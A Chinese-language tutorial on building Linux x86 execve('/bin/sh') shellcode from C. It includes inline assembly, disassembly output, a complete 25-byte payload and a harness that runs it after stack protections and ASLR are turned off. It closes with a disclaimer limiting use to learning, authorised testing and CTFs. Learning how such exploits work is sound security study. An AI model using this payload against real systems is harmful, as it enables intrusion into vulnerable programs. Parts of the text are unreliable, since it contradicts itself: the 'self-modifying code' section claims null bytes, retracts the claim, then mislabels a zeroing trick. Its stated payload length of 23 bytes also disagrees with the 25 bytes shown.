- 什么是 Shellcode? - 定义和目标
- 为什么用 C 语言? - C 语言在生成 Shellcode 中的核心作用
- 如何用 C 语言编写 Shellcode? - 从一个简单的例子开始
- 高级技巧:自我修改代码 - 让 Shellcode 更隐蔽
- 编译和测试 - 如何将 C 代码转化为可执行的 Shellcode
- 重要注意事项和免责声明
什么是 Shellcode?
Shellcode 是一段用于执行特定操作的机器码(字节码),它的名字来源于它的最初用途:获取一个 Shell(/bin/sh 或 cmd.exe)。

核心特点:
- 机器码形式:它不是像 C 或 Python 这样的高级语言代码,而是 CPU 能直接理解和执行的指令序列,通常以十六进制字节的形式表示。
- 无依赖:一个好的 Shellcode 不能包含任何绝对地址(如函数地址
0x080484b6),因为它在被加载到内存中的位置是未知的,它必须是位置无关代码。 - 小巧精悍:Shellcode 通常非常短,因为内存空间(如缓冲区)有限。
- 目标明确:除了获取 Shell,它还可以执行其他操作,如添加用户、下载文件、建立反向连接等,这些都被称为 "Payload"(有效载荷)。
一个经典的 Shellcode 目标: 当程序存在缓冲区溢出漏洞时,攻击者会用 Shellcode 填满缓冲区,并覆盖返回地址,使其指向 Shellcode 在内存中的起始位置,当函数返回时,程序的控制权就转移到了 Shellcode,从而执行攻击者的指令。
为什么用 C 语言?
我们不会用 C 语言去“直接写”机器码,因为那太繁琐且容易出错,C 语言在 Shellcode 开发中扮演着 “蓝图”或“中间代码” 的角色。
工作流程如下:

- 设计逻辑:先用 C 语言清晰地写出你想要 Shellcode 完成的任务,调用
execve("/bin/sh", NULL, NULL)函数来启动一个 Shell,C 语言提供了高级的抽象,让我们可以专注于逻辑实现,而不是复杂的汇编指令。 - 编译为汇编:将 C 代码编译成汇编语言,汇编语言是机器码的助记符,比直接写十六进制要友好得多。
- 优化和转换:分析汇编代码,进行优化(去除不必要的指令、使用更短的指令),并将其转换成纯粹的字节码。
- 提取和验证:从最终的二进制文件中提取出这些字节码,并进行测试,确保它在新的内存环境中也能正常工作。
C 语言是构建和调试 Shellcode 逻辑的最高效、最安全的方式。
如何用 C 语言编写 Shellcode?(获取 Shell 的例子)
下面我们通过一个经典的 execve("/bin/sh", ...) Shellcode 的例子来理解这个过程。
步骤 1:用 C 语言实现逻辑
我们想调用 execve 系统函数,在 Linux x86 架构下,系统调用是通过 int 0x80 中断实现的,参数通过寄存器传递:
eax= 系统调用号 (对于execve,是11)ebx= 第一个参数指针 (指向字符串 "/bin/sh")ecx= 第二个参数指针 (argv 数组)edx= 第三个参数指针 (环境变量数组)
一个简单的 C 程序如下:

// execve_shellcode.c
// 我们的目标是让编译器生成调用 execve("/bin/sh") 的汇编代码
void shellcode() {
// execve("/bin/sh", NULL, NULL);
// 我们需要把 "/bin/sh" 字符串放在代码后面
// 然后让 ebx 指向它
// 下面的汇编代码是实现这个目标的关键
__asm__ (
"xorl %eax, %eax ; eax = 0\n\t"
"movl %eax, %ecx ; ecx = 0 (argv)\n\t"
"movl %eax, %edx ; edx = 0 (envp)\n\t"
"movb $0x0b, %al ; eax = 11 (execve syscall number)\n\t"
"xorl %ebx, %ebx ; ebx = 0\n\t"
"pushl %ebx ; push a NULL byte (for string termination)\n\t"
"pushl $0x68732f2f ; push 'hs//'\n\t"
"pushl $0x6e69622f ; push 'nib/'\n\t"
"movl %esp, %ebx ; now ebx points to the string '/bin//sh'\n\t"
"int $0x80 ; make the system call\n\t"
);
}
int main() {
printf("Executing shellcode...\n");
shellcode();
printf("Shellcode finished.\n");
return 0;
}
代码解释:
xorl %eax, %eax:将eax寄存器清零,这是一种比mov $0, %eax更短的清零方式。movb $0x0b, %al:将eax的低 8 位 (al) 设置为11,这是execve的系统调用号。xorl %ebx, %ebx:同样,用异或操作将ebx清零。pushl %ebx:压入一个NULL字节 (0x00),这是 C 字符串的结尾。pushl $0x68732f2f和pushl $0x6e69622f:这是精妙之处,我们以小端序 的方式将字符串/bin//sh压入栈中。/bin//sh在内存中是\x2f\x62\x69\x6e\x2f\x2f\x73\x68- 我们分两次
push:先压hs//(0x68732f2f),再压nib/(0x6e69622f)。 - 栈是“后进先出”的,所以最终栈上的顺序是
/bin//sh。
movl %esp, %ebx:将栈顶指针esp的值赋给ebx。ebx就完美地指向了我们刚刚压入的字符串/bin//sh的地址。int $0x80:触发软中断,CPU 进入内核模式,执行execve系统调用。
步骤 2:编译和提取汇编代码
# -g 生成调试信息,-o 指定输出文件 gcc -g -o execve_shellcode execve_shellcode.c
我们用 GDB 来查看 shellcode 函数编译后的机器码。
gdb ./execve_shellcode (gdb) disassemble shellcode
你会看到类似下面的输出(地址可能不同):
Dump of assembler code for function shellcode:
0x08048456 <+0>: xor eax,eax
0x08048458 <+2>: mov ecx,eax
0x0804845a <+4>: mov edx,eax
0x0804845c <+6>: mov al,0xb
0x0804845e <+8>: xor ebx,ebx
0x08048460 <+10>: push ebx
0x08048461 <+11>: push 0x68732f2f
0x08048466 <+16>: push 0x6e69622f
0x0804846b <+21>: mov ebx,esp
0x0804846d <+23>: int 0x80
0x0804846f <+25>: ret
End of assembler dump.
步骤 3:提取机器码
我们把上面的汇编指令转换成十六进制字节码,我们可以使用 GDB 的 x 命令来查看内存。
(gdb) x/20xb shellcode
或者更直接地,使用 objdump 工具:
objdump -d -j .text ./execve_shellcode | grep -A 20 "<shellcode>:"
输出会是这样的:
08048456 <shellcode>:
8048456: 31 c0 xor %eax,%eax
8048458: 89 c1 mov %eax,%ecx
804845a: 89 c2 mov %eax,%edx
804845c: b0 0b mov $0xb,%al
804845e: 31 db xor %ebx,%ebx
8048460: 53 push %ebx
8048461: 68 2f 2f 73 68 push $0x68732f2f
8048466: 68 2f 62 69 6e push $0x6e69622f
804846b: 89 e3 mov %esp,%ebx
804846d: cd 80 int $0x80
将这些字节码按顺序连接起来,我们就得到了最终的 Shellcode:
\x31\xc0\x89\xc1\x89\xc2\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
注意:字符串 /bin//sh 的表示方式可能会因编译器和优化选项而略有不同,但核心思想不变。
高级技巧:自我修改代码
上面的 Shellcode 中有一个致命问题:它包含了空字节 (\x00)。
xorl %ebx, %ebx->\x31\xdb(无空字节)pushl %ebx->\x53(无空字节)movb $0x0b, %al->\xb0\x0b(无空字节)- 而
xorl %eax, %eax->\x31\xc0(无空字节) - 问题在于:
pushl $0x6e69622f的机器码是\x68\x2f\x62\x69\x6e,这没问题,但pushl $0x68732f2f的机器码是\x68\x2f\x2f\x73\x68,这也没问题。movl %esp, %ebx是\x89\xe3,也没问题。int $0x80是\xcd\x80,没问题。 - 等等,我之前的例子错了! 让我们重新检查。
xor %eax, %eax是\x31\xc0,xor %ebx, %ebx是\x31\xdb。mov $11, %al是\xb0\x0b,这些都没有\x00,看来这个例子恰好没有空字节,这是一个幸运的巧合。
真正的挑战在于字符串,如果我们想调用 execve("/bin/ls", ...),字符串 /bin/ls 中间就没有 \x00,但如果字符串长度不是4的倍数,或者包含空字节,就会出问题。
一个更常见的例子是 execve("/bin/bash", ...),bash 的 ASCII 码是 0x62617368,中间没有空字节,但如果字符串是 "/home/user",user 的 ASCII 码是 0x75736572,也没有空字节。空字节通常出现在寄存器清零或小数值常量中。
为了制造一个没有空字节的 Shellcode,我们需要使用自我修改代码 的技巧。
例子:用 sub 代替 xor 来清零
xor %eax, %eax->\x31\xc0(无空字节)mov $0, %eax->\xb8\x00\x00\x00\x00(有4个空字节,非常糟糕!)- 我们可以用
sub来实现:movl $0xAAAAAAAA, %eax->\xb8\xaa\xaa\xaa\xaasubl $0xAAAAAAAA, %eax->\x2d\xaa\xaa\xaa\xaaeax变为0,且没有空字节。
字符串处理:如果字符串中有 \x00,我们可以通过在运行时修改内存来“修复”它,将一个字节的值从 0x00 改为 0x20 (空格)。
编译和测试
将我们得到的 Shellcode 字符串放入一个 C 程序中进行测试。
// test_shellcode.c
#include <stdio.h>
#include <string.h>
// 将你的 shellcode 字节码放在这里
unsigned char shellcode[] =
"\x31\xc0\x89\xc1\x89\xc2\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
int main() {
printf("Shellcode Length: %zu\n", strlen(shellcode));
printf("Executing shellcode...\n");
// 将函数指针指向 shellcode 的首地址并调用它
int (*ret)() = (int(*)())shellcode;
ret();
printf("This line should not be reached.\n");
return 0;
}
编译和运行:
# 注意:需要关闭地址空间随机化 和堆栈保护才能成功运行 # sudo sysctl -w kernel.randomize_va_space=0 # gcc -fno-stack-protector -z execstack -o test_shellcode test_shellcode.c # 运行 ./test_shellcode
预期输出:
Shellcode Length: 23
Executing shellcode...
$
你会看到程序输出了 ,这表示你现在已经拥有了一个新的 Shell!如果你输入 exit 并回车,程序会结束,并打印出 This line should not be reached.。
重要注意事项和免责声明
- 合法性:仅用于学习和授权的安全测试! 未经授权对任何计算机系统进行渗透测试或攻击都是非法的,本文档的知识应被用于理解漏洞原理、进行防御性安全研究或参加 CTF(夺旗赛)等合法活动。
- 环境:Shellcode 是高度依赖操作系统和 CPU 架构的,上面的例子是 Linux x86 (32位) 架构的,在 Windows、ARM、x86-64 等环境下,Shellcode 的写法完全不同。
- 现代防护机制:现代操作系统和编译器引入了许多机制来阻止 Shellcode 的执行,
- ASLR (地址空间布局随机化):随机化程序的内存地址,使得攻击者难以预测 Shellcode 的位置。
- NX/DEP (不可执行/数据执行保护):将堆栈和堆等数据区域标记为不可执行,即使 Shellcode 被注入,CPU 也不会执行它。
- Stack Canaries (栈金丝雀):在函数返回地址前放置一个随机值,如果发生缓冲区溢出,这个值会被改变,程序在返回时会检查并终止。
- 工具:在实际渗透测试中,安全研究员通常会使用现成的工具(如 Metasploit Framework)来生成和测试各种平台的 Shellcode,而不是从头编写,但理解其背后的原理至关重要。
希望这个详细的解释能帮助你理解 C 语言和 Shellcode 之间的关系!
